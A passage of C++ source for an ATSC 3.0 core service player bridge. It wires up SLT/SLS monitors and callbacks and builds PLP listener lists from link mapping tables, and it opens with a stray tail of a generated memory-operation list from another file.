'dst': {'size': 16, 'NT': False, 'type': 'addresses_WC_ht', 'same': False, 'AVXalign': False, 'congruent': 4}} {'OP': 'STOR', 'dst': {'size': 2, 'NT': False, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': True, 'congruent': 5}} {'OP': 'LOAD', 'src': {'size': 1, 'NT': False, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': False, 'congruent': 1}} {'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 2}} {'OP': 'STOR', 'dst': {'size': 1, 'NT': False, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': False, 'congruent': 8}} {'OP': 'STOR', 'dst': {'size': 8, 'NT': False, 'type': 'addresses_WT_ht', 'same': True, 'AVXalign': True, 'congruent': 6}} {'52': 2} 52 52 */
/* * atsc3_core_service_player_bridge.cpp * * Created on: Oct 3, 2019 * Author: jjustman * * Android MMT MFU Playback with SLS event driven callbacks * * * Note: Atsc3NdkPHYBridge - Android NDK Binding against Lowasys API are not included */ #ifndef __JJ_PHY_MMT_PLAYER_BRIDGE_DISABLED #include "atsc3_core_service_player_bridge.h" //jjustman-2020-12-02 - restrict this include to local cpp, as downstream projects otherwise would need to have <pcre2.h> on their include path #include "atsc3_alc_utils.h" int _ATSC3_CORE_SERVICE_PLAYER_BRIDGE_INFO_ENABLED = 1; int _ATSC3_CORE_SERVICE_PLAYER_BRIDGE_DEBUG_ENABLED = 0; int _ATSC3_CORE_SERVICE_PLAYER_BRIDGE_TRACE_ENABLED = 0; IAtsc3NdkApplicationBridge* Atsc3NdkApplicationBridge_ptr = NULL; IAtsc3NdkPHYBridge* Atsc3NdkPHYBridge_ptr = NULL; //commandline stream filtering uint32_t* dst_ip_addr_filter = NULL; uint16_t* dst_ip_port_filter = NULL; uint16_t* dst_packet_id_filter = NULL; int _ATSC3_CORE_SERVICE_PLAYER_BRIDGE_atsc3_core_service_bridge_process_packet_phy_got_mdi_counter = 0; //jjustman-2021-01-21 - special 'friend' mutex access so we can get lls_slt_monitor as needed, etc.. recursive_mutex atsc3_core_service_player_bridge_context_mutex; recursive_mutex& atsc3_core_service_player_bridge_get_context_mutex() { return atsc3_core_service_player_bridge_context_mutex; } //jjustman-2019-10-03 - context event callbacks... lls_slt_monitor_t* lls_slt_monitor = NULL; //friend accessor for our lls_slt_monitor, until we are refactored to have a proper context lls_slt_monitor_t* atsc3_core_service_player_bridge_get_lls_slt_montior() { return lls_slt_monitor; } atsc3_link_mapping_table* atsc3_link_mapping_table_last = NULL; uint32_t atsc3_link_mapping_table_missing_dropped_packets = 0; //mmtp/sls flow management atsc3_mmt_mfu_context_t* atsc3_mmt_mfu_context = NULL; lls_sls_mmt_monitor_t* lls_sls_mmt_monitor = NULL; //route/alc specific parameters lls_sls_alc_monitor_t* lls_sls_alc_monitor = NULL; atsc3_alc_arguments_t* alc_arguments = NULL; std::string atsc3_ndk_cache_temp_folder_path = ""; std::string atsc3_ndk_cache_temp_folder_route_path = ""; IAtsc3NdkApplicationBridge* atsc3_ndk_application_bridge_get_instance() { return Atsc3NdkApplicationBridge_ptr; } IAtsc3NdkPHYBridge* atsc3_ndk_phy_bridge_get_instance() { return Atsc3NdkPHYBridge_ptr; } void atsc3_core_service_application_bridge_init(IAtsc3NdkApplicationBridge* atsc3NdkApplicationBridge) { Atsc3NdkApplicationBridge_ptr = atsc3NdkApplicationBridge; printf("atsc3_core_service_application_bridge_init with Atsc3NdkApplicationBridge_ptr: %p", Atsc3NdkApplicationBridge_ptr); Atsc3NdkApplicationBridge_ptr->LogMsgF("atsc3_core_service_application_bridge_init - Atsc3NdkApplicationBridge_ptr: %p", Atsc3NdkApplicationBridge_ptr); //set global logging levels //jjustman-2021-01-19 - testing for mpu_timestamp_descriptor patching _MMT_CONTEXT_MPU_DEBUG_ENABLED = 0; _ALC_UTILS_IOTRACE_ENABLED = 0; _ROUTE_SLS_PROCESSOR_INFO_ENABLED = 0; _ROUTE_SLS_PROCESSOR_DEBUG_ENABLED = 0; _ALC_UTILS_IOTRACE_ENABLED = 0; #ifdef __SIGNED_MULTIPART_LLS_DEBUGGING__ _LLS_TRACE_ENABLED = 1; _LLS_DEBUG_ENABLED = 1; _LLS_SLT_PARSER_DEBUG_ENABLED = 1; _LLS_SLT_PARSER_TRACE_ENABLED = 1; #endif _LLS_ALC_UTILS_DEBUG_ENABLED = 0; _ALC_UTILS_DEBUG_ENABLED = 0; _ALC_RX_TRACE_ENABLED = 0; //jjustman-2020-04-23 - TLV parsing metrics enable inline ALP parsing __ATSC3_SL_TLV_USE_INLINE_ALP_PARSER_CALL__ = 1; atsc3_core_service_application_bridge_reset_context(); atsc3_ndk_cache_temp_folder_path = Atsc3NdkApplicationBridge_ptr->get_android_temp_folder(); //jjustman-2020-04-16 - hack to clean up cache directory payload and clear out any leftover cache objects (e.g. ROUTE/DASH toi's) //no linkage forfs::remove_all(atsc3_ndk_cache_temp_folder_path + "/"); //https://github.com/android/ndk/issues/609 // __ALC_DUMP_OUTPUT_PATH__ -> route atsc3_ndk_cache_temp_folder_route_path = atsc3_ndk_cache_temp_folder_path + "/" + __ALC_DUMP_OUTPUT_PATH__; atsc3_ndk_cache_temp_folder_purge((char*)(atsc3_ndk_cache_temp_folder_route_path).c_str()); chdir(atsc3_ndk_cache_temp_folder_path.c_str()); Atsc3NdkApplicationBridge_ptr->LogMsgF("atsc3_phy_player_bridge_init - completed, cache temp folder path: %s", atsc3_ndk_cache_temp_folder_path.c_str()); /** * additional SLS monitor related callbacks wired up in * lls_sls_alc_monitor->atsc3_lls_sls_alc_on_object_close_flag_s_tsid_content_location = &atsc3_lls_sls_alc_on_object_close_flag_s_tsid_content_location_ndk; //write up event callback for alc MPD patching lls_sls_alc_monitor->atsc3_lls_sls_alc_on_route_mpd_patched = &atsc3_lls_sls_alc_on_route_mpd_patched_ndk; */ } /* * jjustman-2020-08-31 - todo: refactor this into a context handle */ void atsc3_core_service_application_bridge_reset_context() { __ATSC3_CORE_SERVICE_PLAYER_BRIDGE_WARN("atsc3_core_service_application_bridge_reset_context!"); lock_guard<recursive_mutex> atsc3_core_service_player_bridge_context_mutex_local(atsc3_core_service_player_bridge_context_mutex); if(atsc3_mmt_mfu_context) { atsc3_mmt_mfu_context_free(&atsc3_mmt_mfu_context); } if (lls_slt_monitor) { atsc3_lls_slt_monitor_free(&lls_slt_monitor); /* atsc3_lls_slt_monitor_free chains calls to: lls_slt_monitor_free_lls_sls_mmt_monitor(lls_slt_monitor); -> MISSING IMPL lls_sls_mmt_monitor_free(), but not needed as only ptr ref's are transient -and- lls_slt_monitor_free_lls_sls_alc_monitor(lls_slt_monitor); -> lls_sls_alc_monitor_free so just clear out our local ref: lls_sls_mmt_monitor and lls_sls_alc_monitor */ lls_sls_mmt_monitor = NULL; lls_sls_alc_monitor = NULL; } if(atsc3_link_mapping_table_last) { atsc3_link_mapping_table_free(&atsc3_link_mapping_table_last); } atsc3_link_mapping_table_missing_dropped_packets = 0; lls_slt_monitor = lls_slt_monitor_create(); //wire up a lls event for SLS table lls_slt_monitor->atsc3_lls_on_sls_table_present_callback = &atsc3_lls_on_sls_table_present_ndk; lls_slt_monitor->atsc3_lls_on_aeat_table_present_callback = &atsc3_lls_on_aeat_table_present_ndk; //MMT/MFU callback contexts atsc3_mmt_mfu_context = atsc3_mmt_mfu_context_callbacks_default_jni_new(); //jjustman-2020-12-08 - wire up atsc3_mmt_signalling_information_on_routecomponent_message_present and atsc3_mmt_signalling_information_on_held_message_present atsc3_mmt_mfu_context->atsc3_mmt_signalling_information_on_routecomponent_message_present = &atsc3_mmt_signalling_information_on_routecomponent_message_present_ndk; atsc3_mmt_mfu_context->atsc3_mmt_signalling_information_on_held_message_present = &atsc3_mmt_signalling_information_on_held_message_present_ndk; } void atsc3_lls_sls_alc_on_metadata_fragments_updated_callback_ndk(lls_sls_alc_monitor_t* lls_sls_alc_monitor) { //jjustman-2021-07-07 - walk thru our S-TSID and ensure all RS dstIpAddr and dstPort flows are assigned into our lls_slt_monitor alc flows int ip_mulitcast_flows_added_count = 0; ip_mulitcast_flows_added_count = lls_sls_alc_add_additional_ip_flows_from_route_s_tsid(lls_slt_monitor, lls_sls_alc_monitor, lls_sls_alc_monitor->atsc3_sls_metadata_fragments->atsc3_route_s_tsid); if(ip_mulitcast_flows_added_count) { //jjustman-2021-07-28 - TODO: re-calculate our distinct IP flows here.. and listen to any additional PLP's as needed __ATSC3_CORE_SERVICE_PLAYER_BRIDGE_WARN("atsc3_lls_sls_alc_on_metadata_fragments_updated_callback_ndk: added %d ip mulitcast flows for alc, TODO: refresh listen plps as needed", ip_mulitcast_flows_added_count); } } lls_sls_alc_monitor_t* atsc3_lls_sls_alc_monitor_create_with_core_service_player_bridge_default_callbacks(atsc3_lls_slt_service_t* atsc3_lls_slt_service) { lls_sls_alc_monitor_t* lls_sls_alc_monitor_new = lls_sls_alc_monitor_create(); lls_sls_alc_monitor_new->lls_sls_monitor_output_buffer_mode.file_dump_enabled = true; lls_sls_alc_monitor_new->has_discontiguous_toi_flow = true; //jjustman-2020-07-27 - hack-ish lls_sls_alc_monitor_new->atsc3_lls_slt_service = atsc3_lls_slt_service; //process any unmapped s-tsid RS dstIpAddr/dPort tuples into our alc flow //jjustman-2021-07-28 - process this as a lls_sls_alc_monitor callback so we can listen to any additional plps as needed lls_sls_alc_monitor_new->atsc3_lls_sls_alc_on_metadata_fragments_updated_callback = &atsc3_lls_sls_alc_on_metadata_fragments_updated_callback_ndk; //wire up event callback for alc close_object notification lls_sls_alc_monitor_new->atsc3_lls_sls_alc_on_object_close_flag_s_tsid_content_location_callback = &atsc3_lls_sls_alc_on_object_close_flag_s_tsid_content_location_ndk; //wire up event callback for alc MPD patching lls_sls_alc_monitor_new->atsc3_lls_sls_alc_on_route_mpd_patched_callback = &atsc3_lls_sls_alc_on_route_mpd_patched_ndk; //jjustman-2020-08-05 - also atsc3_lls_sls_alc_on_route_mpd_patched_with_filename_callback lls_sls_alc_monitor_new->atsc3_lls_sls_alc_on_package_extract_completed_callback = &atsc3_lls_sls_alc_on_package_extract_completed_callback_ndk; //#1569 lls_sls_alc_monitor_new->atsc3_sls_on_held_trigger_received_callback = &atsc3_sls_on_held_trigger_received_callback_impl; return lls_sls_alc_monitor_new; } void atsc3_core_service_phy_bridge_init(IAtsc3NdkPHYBridge* atsc3NdkPHYBridge) { Atsc3NdkPHYBridge_ptr = atsc3NdkPHYBridge; if(Atsc3NdkApplicationBridge_ptr) { Atsc3NdkApplicationBridge_ptr->LogMsgF("atsc3_core_service_phy_bridge_init - Atsc3NdkPHYBridge_ptr: %p", Atsc3NdkPHYBridge_ptr); } } atsc3_slt_broadcast_svc_signalling_t* atsc3_slt_broadcast_svc_signalling_find_from_service_id(uint16_t service_id) { atsc3_slt_broadcast_svc_signalling_t* atsc3_slt_broadcast_svc_signalling = NULL; bool found_atsc3_slt_broadcast_svc_signalling = false; atsc3_lls_slt_service_t* atsc3_lls_slt_service = lls_slt_monitor_find_lls_slt_service_id_group_id_cache_entry(lls_slt_monitor, service_id); if(!atsc3_lls_slt_service) { __ATSC3_CORE_SERVICE_PLAYER_BRIDGE_ERROR("atsc3_slt_broadcast_svc_signalling_find_from_service_id: unable to find service_id: %d", service_id); return NULL; } //broadcast_svc_signalling has cardinality (0..1), any other signalling location is represented by SvcInetUrl (0..N) for(int i=0; i < atsc3_lls_slt_service->atsc3_slt_broadcast_svc_signalling_v.count && !found_atsc3_slt_broadcast_svc_signalling; i++) { atsc3_slt_broadcast_svc_signalling = atsc3_lls_slt_service->atsc3_slt_broadcast_svc_signalling_v.data[i]; if(atsc3_slt_broadcast_svc_signalling->sls_destination_ip_address && atsc3_slt_broadcast_svc_signalling->sls_destination_udp_port) { found_atsc3_slt_broadcast_svc_signalling = true; } } if(found_atsc3_slt_broadcast_svc_signalling) { return atsc3_slt_broadcast_svc_signalling; } else { return NULL; } } //jjustman-2020-11-17 - TODO: also walk thru lls_slt_monitor->lls_slt_service_id //jjustman-2020-11-18 - TODO - we also need to iterate over our S-TSID for our monitored service_id's to ensure // all IP flows and their corresponding PLP's are listened for //jjustman-2020-12-08 - TODO: we will also need to monitor for MMT HELD component to check if we need to add its flow for PLP listening /* * jjustman-2021-01-21: NOTE: final PLP selection is not completed until invoking: * * Atsc3NdkApplicationBridge_ptr->atsc3_phy_notify_plp_selection_changed(plps_to_listen); * * with plps_to_listen as the returned vector from this call, allowing the callee to adjust as needed */ vector<uint8_t> atsc3_phy_build_plp_listeners_from_lls_slt_monitor(lls_slt_monitor_t* lls_slt_monitor) { atsc3_slt_broadcast_svc_signalling_t* atsc3_slt_broadcast_svc_signalling = NULL; bool found_atsc3_slt_broadcast_svc_signalling = false; bool atsc3_phy_notify_plp_selection_changed_called = false; int8_t first_plp = -1; //keep track of our "first" PLP for priority use cases, e.g. with LG3307 set<uint8_t> plps_to_check; //use this as a temporary collection of de-dup'd PLPs set<uint8_t>::iterator it; vector<uint8_t> plps_to_listen; if(!atsc3_link_mapping_table_last) { __ATSC3_CORE_SERVICE_PLAYER_BRIDGE_ERROR("atsc3_phy_update_plp_listeners_from_lls_slt_monitor: atsc3_link_mapping_table_last is NULL!"); return plps_to_listen; } if(!lls_slt_monitor) { __ATSC3_CORE_SERVICE_PLAYER_BRIDGE_ERROR("atsc3_phy_update_plp_listeners_from_lls_slt_monitor: lls_slt_monitor is NULL!"); return plps_to_listen; } __ATSC3_CORE_SERVICE_PLAYER_BRIDGE_TRACE("atsc3_phy_build_plp_listeners_from_lls_slt_monitor: lls_slt_monitor: %p, lls_slt_monitor->lls_slt_service_id_v.count: %d", lls_slt_monitor, lls_slt_monitor->lls_slt_service_id_v.count); //acquire our mutex for "pseudo-context" w/ lls_slt_monitor so it won't change out from under (hopefully).. { __ATSC3_CORE_SERVICE_PLAYER_BRIDGE_TRACE("atsc3_phy_update_plp_listeners_from_lls_slt_monitor: before acquiring atsc3_core_service_player_bridge_context_mutex_local - RAI block open"); lock_guard<recursive_mutex> atsc3_core_service_player_bridge_context_mutex_local(atsc3_core_service_player_bridge_context_mutex); __ATSC3_CORE_SERVICE_PLAYER_BRIDGE_TRACE("atsc3_phy_update_plp_listeners_from_lls_slt_monitor: acquired atsc3_core_service_player_bridge_context_mutex_local - RAI block open"); for(int i=0; i < lls_slt_monitor->lls_slt_service_id_v.count; i++) { lls_slt_service_id_t* lls_slt_service_id = lls_slt_monitor->lls_slt_service_id_v.data[i]; //find our cache entry from this service_id atsc3_lls_slt_service_t* atsc3_lls_slt_service = lls_slt_monitor_find_lls_slt_service_id_group_id_cache_entry(lls_slt_monitor, lls_slt_service_id->service_id); if(!atsc3_lls_slt_service) { __ATSC3_CORE_SERVICE_PLAYER_BRIDGE_WARN("atsc3_phy_update_plp_listeners_from_lls_slt_monitor: unable to find service_id: %d, skipping from PLP selection!", lls_slt_service_id->service_id); continue; } uint16_t service_id = lls_slt_service_id->service_id; //broadcast_svc_signalling has cardinality (0..1), any other signalling location is represented by SvcInetUrl (0..N) //jjustman-2021-01-21 - TODO: fix this cardinality mistake for(int j=0; j < atsc3_lls_slt_service->atsc3_slt_broadcast_svc_signalling_v.count; j++) { atsc3_slt_broadcast_svc_signalling = atsc3_lls_slt_service->atsc3_slt_broadcast_svc_signalling_v.data[j]; uint32_t sls_destination_ip_address = parseIpAddressIntoIntval(atsc3_slt_broadcast_svc_signalling->sls_destination_ip_address); uint16_t sls_destination_udp_port = parsePortIntoIntval(atsc3_slt_broadcast_svc_signalling->sls_destination_udp_port); __ATSC3_CORE_SERVICE_PLAYER_BRIDGE_TRACE("atsc3_phy_update_plp_listeners_from_lls_slt_monitor: checking atsc3_slt_broadcast_svc_signalling: sls_protocol: 0x%02x, flow: %u.%u.%u.%u:%u", atsc3_slt_broadcast_svc_signalling->sls_protocol, __toipandportnonstruct(sls_destination_ip_address, sls_destination_udp_port)); //jjustman-2020-11-18 - relax this check - for sls_protocol to just ensuring that we have a dst_ip and dst_port and then proceed with LMT matching // if(atsc3_slt_broadcast_svc_signalling->sls_protocol == SLS_PROTOCOL_MMTP || atsc3_slt_broadcast_svc_signalling->sls_protocol == SLS_PROTOCOL_ROUTE) { if(atsc3_slt_broadcast_svc_signalling->sls_destination_ip_address && atsc3_slt_broadcast_svc_signalling->sls_destination_udp_port) { for(int k=0; k < atsc3_link_mapping_table_last->atsc3_link_mapping_table_plp_v.count && !found_atsc3_slt_broadcast_svc_signalling; k++) { atsc3_link_mapping_table_plp_t* atsc3_link_mapping_table_plp = atsc3_link_mapping_table_last->atsc3_link_mapping_table_plp_v.data[k]; for(int l=0; l < atsc3_link_mapping_table_plp->atsc3_link_mapping_table_multicast_v.count && !found_atsc3_slt_broadcast_svc_signalling; l++) { atsc3_link_mapping_table_multicast_t* atsc3_link_mapping_table_multicast = atsc3_link_mapping_table_plp->atsc3_link_mapping_table_multicast_v.data[l]; if(!atsc3_link_mapping_table_multicast) { __ATSC3_CORE_SERVICE_PLAYER_BRIDGE_WARN("atsc3_phy_update_plp_listeners_from_lls_slt_monitor: atsc3_link_mapping_table_plp: %p, index: %d, atsc3_link_mapping_table_multicast is NULL!", atsc3_link_mapping_table_plp, l); continue; } if(atsc3_link_mapping_table_multicast->dst_ip_add == sls_destination_ip_address && atsc3_link_mapping_table_multicast->dst_udp_port == sls_destination_udp_port) { Atsc3NdkApplicationBridge_ptr->LogMsgF("atsc3_phy_update_plp_listeners_from_lls_slt_monitor: SLS adding PLP_id: %d (%s:%s)", atsc3_link_mapping_table_plp->PLP_ID, atsc3_slt_broadcast_svc_signalling->sls_destination_ip_address, atsc3_slt_broadcast_svc_signalling->sls_destination_udp_port); if(first_plp == -1 ) { first_plp = atsc3_link_mapping_table_plp->PLP_ID; } else { plps_to_check.insert(atsc3_link_mapping_table_plp->PLP_ID); } } } } } if(atsc3_slt_broadcast_svc_signalling->sls_protocol == SLS_PROTOCOL_MMTP) { __ATSC3_CORE_SERVICE_PLAYER_BRIDGE_TRACE("atsc3_phy_build_plp_listeners_from_lls_slt_monitor: processing SLS_PROTOCOL_MMTP for service_id: %d, lls_slt_monitor: %p, lls_slt_monitor->lls_slt_service_id_v.count: %d", service_id, lls_slt_monitor, lls_slt_monitor->lls_slt_service_id_v.count); //iterate over our lls_slt_monitor's child lls_sls_mmt_monitor and assign any lls_mmt_sessions for(int l=0; l < lls_slt_monitor->lls_sls_mmt_session_flows_v.count; l++) { lls_sls_mmt_session_flows_t* lls_sls_mmt_session_flows = lls_slt_monitor->lls_sls_mmt_session_flows_v.data[l]; for(int m=0; m < lls_sls_mmt_session_flows->lls_sls_mmt_session_v.count; m++) { lls_sls_mmt_session_t* lls_sls_mmt_session = lls_sls_mmt_session_flows->lls_sls_mmt_session_v.data[m]; if(!lls_sls_mmt_session || !lls_sls_mmt_session->atsc3_lls_slt_service) { __ATSC3_CORE_SERVICE_PLAYER_BRIDGE_WARN("lls_sls_mmt_session index m: %d, %p is missing atsc3_lls_slt_service", m, lls_sls_mmt_session); continue; } if(lls_sls_mmt_session->atsc3_lls_slt_service->service_id == service_id) { //add any atsc3_mmt_sls_mpt_location_info flows into our lmt for(int n=0; n < lls_sls_mmt_session->atsc3_mmt_sls_mpt_location_info_v.count; n++) { atsc3_mmt_sls_mpt_location_info_t * atsc3_mmt_sls_mpt_location_info = lls_sls_mmt_session->atsc3_mmt_sls_mpt_location_info_v.data[n]; if(atsc3_mmt_sls_mpt_location_info->location_type == MMT_GENERAL_LOCATION_INFO_LOCATION_TYPE_MMTP_PACKET_FLOW_UDP_IP_V4) { for(int k=0; k < atsc3_link_mapping_table_last->atsc3_link_mapping_table_plp_v.count; k++) { atsc3_link_mapping_table_plp_t* atsc3_link_mapping_table_plp = atsc3_link_mapping_table_last->atsc3_link_mapping_table_plp_v.data[k]; for(int p=0; p < atsc3_link_mapping_table_plp->atsc3_link_mapping_table_multicast_v.count; p++) { atsc3_link_mapping_table_multicast_t* atsc3_link_mapping_table_multicast = atsc3_link_mapping_table_plp->atsc3_link_mapping_table_multicast_v.data[p]; if(!atsc3_link_mapping_table_multicast) { __ATSC3_CORE_SERVICE_PLAYER_BRIDGE_WARN("atsc3_phy_update_plp_listeners_from_lls_slt_monitor: atsc3_link_mapping_table_plp: %p, index: %d, atsc3_link_mapping_table_multicast is NULL!", atsc3_link_mapping_table_plp, p); continue; } __ATSC3_CORE_SERVICE_PLAYER_BRIDGE_TRACE("atsc3_phy_update_plp_listeners_from_lls_slt_monitor: MMT checking PLP: %d, with atsc3_link_mapping_table_multicast: %p, atsc3_mmt_sls_mpt_location_info: %p", atsc3_link_mapping_table_plp->PLP_ID, atsc3_link_mapping_table_multicast, atsc3_mmt_sls_mpt_location_info); if(atsc3_link_mapping_table_multicast->dst_ip_add == atsc3_mmt_sls_mpt_location_info->ipv4_dst_addr && atsc3_link_mapping_table_multicast->dst_udp_port == atsc3_mmt_sls_mpt_location_info->ipv4_dst_port) { __ATSC3_CORE_SERVICE_PLAYER_BRIDGE_INFO("atsc3_phy_update_plp_listeners_from_lls_slt_monitor: MMT - adding PLP_id: %d (%u.%u.%u.%u:%u) for packet_id: %d", atsc3_link_mapping_table_plp->PLP_ID, __toipandportnonstruct(atsc3_mmt_sls_mpt_location_info->ipv4_dst_addr, atsc3_mmt_sls_mpt_location_info->ipv4_dst_port), atsc3_mmt_sls_mpt_location_info->packet_id); if(first_plp == -1 ) { first_plp = atsc3_link_mapping_table_plp->PLP_ID; } else { plps_to_check.insert(atsc3_link_mapping_table_plp->PLP_ID); } } } } } } } } } } } } __ATSC3_CORE_SERVICE_PLAYER_BRIDGE_TRACE("atsc3_phy_update_plp_listeners_from_lls_slt_monitor: releasing atsc3_core_service_player_bridge_context_mutex_local - RAI block closure"); } //finally, release our RAII context mutex if(first_plp == -1) { __ATSC3_CORE_SERVICE_PLAYER_BRIDGE_WARN("atsc3_phy_update_plp_listeners_from_lls_slt_monitor: first_plp is -1, this should never happen, bailing!"); return plps_to_listen; //empty set } bool has_plp0_in_set = false; for(it = plps_to_check.begin(); !has_plp0_in_set && it != plps_to_check.end(); it++) { if((*it) == 0) { has_plp0_in_set = true; } } //jjustman-2021-02-03 - treat our selected PLP's as priority fifo (e.g selected service, then additional service(s)) to ensure LG3307 demod (which can only reliably decode 1 plp at a time) can pick plps_to_listen.first() plps_to_listen.push_back(first_plp); for(it = plps_to_check.begin(); it != plps_to_check.end(); it++) { plps_to_listen.push_back(*it); } //if we don't have plp0 in our set, add it first if our size is less than 4 entries (e.g. 0 + 3plps < max of 4) if(!has_plp0_in_set) { if(plps_to_check.size() < 4) { plps_to_listen.push_back(0); } else { __ATSC3_CORE_SERVICE_PLAYER_BRIDGE_WARN("atsc3_phy_update_plp_listeners_from_lls_slt_monitor: plps_to_check contains 4 entries, but is missing plp0!"); } } //ugh, hack if(!plps_to_listen.size()) { __ATSC3_CORE_SERVICE_PLAYER_BRIDGE_WARN("atsc3_phy_update_plp_listeners_from_lls_slt_monitor: plps_to_check contains 0 entries?! forcing plp[0]: 0"); plps_to_listen.push_back(0); } else if(plps_to_listen.size() == 1) { __ATSC3_CORE_SERVICE_PLAYER_BRIDGE_INFO("atsc3_phy_update_plp_listeners_from_lls_slt_monitor: final plps_to_listen is: %d entries: plp[0]: %d", plps_to_listen.size(), plps_to_listen[0]); } else if(plps_to_listen.size() == 2) { __ATSC3_CORE_SERVICE_PLAYER_BRIDGE_INFO("atsc3_phy_update_plp_listeners_from_lls_slt_monitor: final plps_to_listen is: %d entries: plp[0]: %d, plp[1]: %d", plps_to_listen.size(), plps_to_listen[0], plps_to_listen[1]); } else if(plps_to_listen.size() == 3) { __ATSC3_CORE_SERVICE_PLAYER_BRIDGE_INFO("atsc3_phy_update_plp_listeners_from_lls_slt_monitor: final plps_to_listen is: %d entries: plp[0]: %d, plp[1]: %d, plp[2]: %d", plps_to_listen.size(), plps_to_listen[0], plps_to_listen[1], plps_to_listen[2]); } else if(plps_to_listen.size() == 4) { __ATSC3_CORE_SERVICE_PLAYER_BRIDGE_INFO("atsc3_phy_update_plp_listeners_from_lls_slt_monitor: final plps_to_listen is: %d entries: plp[0]: %d, plp[1]: %d, plp[2]: %d, plp[3]: %d", plps_to_listen.size(), plps_to_listen[0], plps_to_listen[1], plps_to_listen[2], plps_to_listen[3]); } return plps_to_listen; } /* * atsc3_core_service_player_bridge_set_single_monitor_a331_service_id: set a single service to be monitored * * NOTE: will _NOT_ attempt to manage PLP selections, must be configured after this (and any additional services via add_monitor) by: * atsc3_phy_build_plp_listeners_from_lls_slt_monitor(lls_slt_monitor); */ atsc3_lls_slt_service_t* atsc3_core_service_player_bridge_set_single_monitor_a331_service_id(int service_id) { lock_guard<recursive_mutex> atsc3_core_service_player_bridge_context_mutex_local(atsc3_core_service_player_bridge_context_mutex); //clear out our lls_slt_monitor->lls_slt_service_id if(lls_slt_monitor) { lls_slt_monitor_clear_lls_slt_service_id(lls_slt_monitor); } atsc3_lls_slt_service_t* atsc3_lls_slt_service = lls_slt_monitor_find_lls_slt_service_id_group_id_cache_entry(lls_slt_monitor, service_id); if(!atsc3_lls_slt_service) { __ATSC3_CORE_SERVICE_PLAYER_BRIDGE_ERROR("atsc3_core_service_player_bridge_set_single_monitor_a331_service_id: unable to find service_id: %d", service_id); return NULL; } //find our matching LLS service, then assign a monitor reference atsc3_slt_broadcast_svc_signalling_t* atsc3_slt_broadcast_svc_signalling = NULL; atsc3_slt_broadcast_svc_signalling_t* atsc3_slt_broadcast_svc_signalling_mmt = NULL; atsc3_slt_broadcast_svc_signalling_t* atsc3_slt_broadcast_svc_signalling_route = NULL; atsc3_slt_broadcast_svc_signalling = atsc3_slt_broadcast_svc_signalling_find_from_service_id(service_id); if(!atsc3_slt_broadcast_svc_signalling) { __ATSC3_CORE_SERVICE_PLAYER_BRIDGE_ERROR("atsc3_core_service_player_bridge_set_single_monitor_a331_service_id: atsc3_slt_broadcast_svc_signalling_find_from_service_id: unable to find atsc3_slt_broadcast_svc_signalling_t for service_id: %d", service_id); return NULL; } if(atsc3_slt_broadcast_svc_signalling->sls_protocol == SLS_PROTOCOL_MMTP) { atsc3_slt_broadcast_svc_signalling_mmt = atsc3_slt_broadcast_svc_signalling; } else if(atsc3_slt_broadcast_svc_signalling->sls_protocol == SLS_PROTOCOL_ROUTE) { atsc3_slt_broadcast_svc_signalling_route = atsc3_slt_broadcast_svc_signalling; } //wire up MMT, watch out for potentally free'd sessions that aren't NULL'd out properly.. if(atsc3_slt_broadcast_svc_signalling_mmt != NULL) { __ATSC3_CORE_SERVICE_PLAYER_BRIDGE_INFO("atsc3_core_service_player_bridge_set_single_monitor_a331_service_id: service_id: %d - using MMT with flow: sip: %s, dip: %s:%s", service_id, atsc3_slt_broadcast_svc_signalling_mmt->sls_source_ip_address, atsc3_slt_broadcast_svc_signalling_mmt->sls_destination_ip_address, atsc3_slt_broadcast_svc_signalling_mmt->sls_destination_udp_port); //clear any active SLS monitors, don't destroy our serviceId flows lls_slt_monitor_clear_lls_sls_mmt_monitor(lls_slt_monitor); //TODO - remove this logic to a unified process... lls_slt_monitor_clear_lls_sls_alc_monitor(lls_slt_monitor); lls_slt_monitor->lls_sls_alc_monitor = NULL; lls_sls_alc_monitor = NULL; //make sure to clear out our ref lls_sls_mmt_monitor = lls_sls_mmt_monitor_create(); lls_sls_mmt_monitor->transients.atsc3_lls_slt_service = atsc3_lls_slt_service; //transient HACK! lls_slt_service_id_t* lls_slt_service_id = lls_slt_service_id_new_from_atsc3_lls_slt_service(atsc3_lls_slt_service); lls_slt_monitor_add_lls_slt_service_id(lls_slt_monitor, lls_slt_service_id); //we may not be initialized yet, so re-check again later //this should _never_happen... lls_sls_mmt_session_t* lls_sls_mmt_session = lls_slt_mmt_session_find_from_service_id(lls_slt_monitor, atsc3_lls_slt_service->service_id); if(!lls_sls_mmt_session) { __ATSC3_CORE_SERVICE_PLAYER_BRIDGE_WARN("atsc3_core_service_player_bridge_set_single_monitor_a331_service_id: lls_slt_mmt_session_find_from_service_id: lls_sls_mmt_session is NULL!"); } lls_sls_mmt_monitor->transients.lls_mmt_session = lls_sls_mmt_session; lls_slt_monitor->lls_sls_mmt_monitor = lls_sls_mmt_monitor; lls_slt_monitor_add_lls_sls_mmt_monitor(lls_slt_monitor, lls_sls_mmt_monitor); //clear out atsc3_mmt_mfu_context elements, e.g. our ROUTEComponent entry (if present) if(atsc3_mmt_mfu_context) { if(atsc3_mmt_mfu_context->mmt_atsc3_route_component_monitored) { atsc3_mmt_mfu_context->mmt_atsc3_route_component_monitored->__is_pinned_to_context = false; mmt_atsc3_route_component_free(&atsc3_mmt_mfu_context->mmt_atsc3_route_component_monitored); } } } else { //jjustman-2020-09-17 - use _clear, but keep our lls_sls_mmt_session_flows //todo: release any internal lls_sls_mmt_monitor handles lls_slt_monitor_clear_lls_sls_mmt_monitor(lls_slt_monitor); lls_slt_monitor->lls_sls_mmt_monitor = NULL; lls_sls_mmt_monitor = NULL; } //wire up ROUTE if(atsc3_slt_broadcast_svc_signalling_route != NULL) { __ATSC3_CORE_SERVICE_PLAYER_BRIDGE_INFO("atsc3_core_service_player_bridge_set_single_monitor_a331_service_id: service_id: %d - using ROUTE with flow: sip: %s, dip: %s:%s", service_id, atsc3_slt_broadcast_svc_signalling_route->sls_source_ip_address, atsc3_slt_broadcast_svc_signalling_route->sls_destination_ip_address, atsc3_slt_broadcast_svc_signalling_route->sls_destination_udp_port); lls_slt_monitor_clear_lls_sls_alc_monitor(lls_slt_monitor); lls_sls_alc_monitor = atsc3_lls_sls_alc_monitor_create_with_core_service_player_bridge_default_callbacks(atsc3_lls_slt_service); 